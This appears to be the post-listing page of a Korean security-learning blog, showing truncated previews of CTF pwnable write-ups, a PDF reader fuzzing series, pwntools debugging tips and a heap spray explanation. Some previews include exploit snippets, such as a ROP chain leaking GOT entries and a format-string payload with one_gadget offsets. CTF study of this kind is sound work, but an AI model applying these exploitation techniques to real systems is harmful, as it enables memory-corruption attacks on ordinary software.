ROPASAURUSREX

Pwnable 2021. 10. 17. 20:58

보호기법 from pwn import * context.log_level = 'debug' p = process('./ropasaurusrex') e = ELF('./ropasaurusrex') pppr = 0x80484b6 bss = e.bss() + 0x100 libc = e.libc read_got = e.got['read'] read_plt = e.plt['read'] read_offset = e.symbols['read'] write_plt = e.plt['write'] write_got = e.got['write'] payload = "A"*140 #======get read_got=========== payload += p32(write_plt) payload += p32(pppr) payl..

Article Thumbnail
PDF Reader 퍼징 도전기(2) - DLL분석

Fuzzing 2021. 10. 10. 23:59

타겟 Reader = ezPDF Reader, 무료 DLL 단순 유추 단순히 dll의 이름만 보고 유추했을때의 기능 ezPDF2HWP -> PDF파일을 HWP파일로 변환 ezPDFConvertDll -> DLL을 변환? ezPDFConvertModule -> 모듈 변환 관련 DLL ezPDFEditorExt32/64 -> 에디터 관련 DLL JpgDll -> jpg다루는 dll? PDF2HTML/Office -> PDF를 HTML과 오피스 형식으로 변환하는 DLL? DLL 분석 Export 부분을 중점으로 해서 함수를 분석하였다. ezPDFConvertDLL에서는 파일에 데이터를 쓰는?듯한 이름을 가진 함수를 발견 ezPDF2HWP.dll에서 export 부분을 찾았을 때 pdf를 hwp로 변경하는 부분..

Article Thumbnail
PDF Reader 퍼징 도전기(1) - WinAFL의 정의와 설치

Fuzzing 2021. 10. 10. 16:39

정의 AFL = American Fuzzy Lop의 약자로, 퍼징을 하는 프로그램으로, 테스트 케이스의 코드 적용 범위를 효율적으로 늘리기 위해 유전자 알고리즘을 사용하는 자유 소프트웨어 fuzzer라고 한다. - 출처 위키백과 특징은 코드 커버리지 측정을 위한 코드를 컴파일 타임에 삽입 버전 리눅스용 버전도 있지만, 리눅스용 버전을 윈도우로 이식시킨게 WinAFL임. 특징 - 블랙박스 퍼징이 가능함 - 서버를 퍼징하는 것이 가능함 동작 과정 afl-fuzz에서 우리가 퍼징하려는 프로그램을 실행한다. 해당 프로그램이 처음으로 실행되면서 afl-fuzz와 pipe로 통신을 하면서 fork server를 만들고, 새로운 타겟 인스턴스를 fork call()로 실행한다. 표준 입력 or file로 들어온 입력..

Article Thumbnail
실행중인 프로세스를 gdb에 부착하는 방법

Technique 2021. 10. 6. 16:05

p = process~~ print(util.proc.pidof(p)) pause()

pwntools에서 debug 및 ld_preload 사용법

Technique 2021. 10. 6. 16:03

process(["binary"], env={'LD_PRELOAD':'./libc.so.6'}) context.arch="amd64" or "x86_64" context.log_level='debug'

값 입력하고 바로 종료될때 메모리 값 보는방법

Pwnable 2021. 10. 5. 22:26

print(util.proc.pidof(r)) pause() $rsp하면 값 볼수있음

TSG 2021 - Coffee

CTF 풀지못한 문제 - pwn 2021. 10. 5. 19:10

libc_base까지 구하고 printf를 한번만 써서 이 printf한번에 모든것을 해결해야한다. puts_got를 main으로 덮던지 해서 다시 main을 실행시키고 다른 함수의(scanf) got를 덮으면 되는 문제였지만 그 이후 어떻게 할지 몰랐다 우선 여기까지는 내가 풀었던 Payload + 결과 from pwn import * #p = remote('34.146.101.4', 30002) p = process('./coffee') e = ELF('./coffee') libc = ELF('./libc.so.6') payload = "%29$p"+"AA" one_gadget=[0xe6c7e, 0xe6c81, 0xe6c84] p.sendline(payload) libc_start_main = int..

Article Thumbnail
2021 TSG CTF Write-up

CTF-Writeup 2021. 10. 5. 16:39

총 PWN 1문제를 풀었다... PWN에서 cHeap하고 coffee라는 문제가 있는데 coffee는 fsb관련 문제고 libc base까지 구했고 main으로 돌리면서 got overwrite해야하는것까지는 알았는데 도저히 할 방법을 몰라서 못풀었던 문제 cHeap은 tcache관련 문제인거 같은데 못풀었다.. 나도 잘하고 싶다... coffee와 cHeap은 다시 풀어봐야겠다.. PWN Beginner's Pwn 2021 from pwn import * p = remote('34.146.101.4', 30007) #p = process('./chall') payload = "\x00"*100 p.send(payload) p.interactive()

Article Thumbnail
레지스터 종류

Technique 2021. 10. 2. 14:29

'rax' - 가장 중요한 레지스터로 시스템 콜의 실질적 번호를 가리키는 번호, 함수 결과값이 담기는 레지스터 'rbx' - base register로 메모리 주소를 지정할 때 사용 'rcx' - 보통 반복문에 사용 'rdx' - 데이터 레지스터로 연산 수행할 때 rax 와 많이 사용함 여기 위 네개의 레지스터를 '데이터 레지스터'라고 합니다. 다음 네개는 '포인터 레지스터' 입니다. 이 레지스터들은 특정한 주소를 가리킵니다. 'rsi' - 메모리를 이동하거나 비교할 때 출발주소을 가리키는데 사용 'rdi'- 메모리를 이동하거나 비교할 때 목적지 주소를 가리키는데 사용 'rbp' - 함수 파라미터나 주소를 가리킬 때 사용 'rsp' - 중요, stack의 삽입 및 삭제 명령어에 의해서 변경되는 스택 가장..

Heap Spray

Technique 2021. 10. 1. 23:17

요약 Heap 영역을 확장하며 해당 영역에 특정 값으로 가득 채우는 기술 Heap Spray로 인해 대부분의 아키텍처에서 대규모 Heap이 할당되는 시작 위치 예측 가능 Heap spray는 응용 프로그램에서 Heap 영역의 값을 읽어 해당 주소도 이동하는 함수 포인터를 덮어쓸 수 있는 취약성이 있을 경우에 사용 Heap Feng shui에도 사용됨 Heap 전체에 내가 원하는 코드를 골고루 위치시켜서 예측 가능한 공간에 Payload를 구성하기 위한 기법 예제 예제 코드 //g++ -o heapspray heapspray.cpp -ldl #include #include #include #include #include #include class UAF { char memo[160]; public: UAF..

Article Thumbnail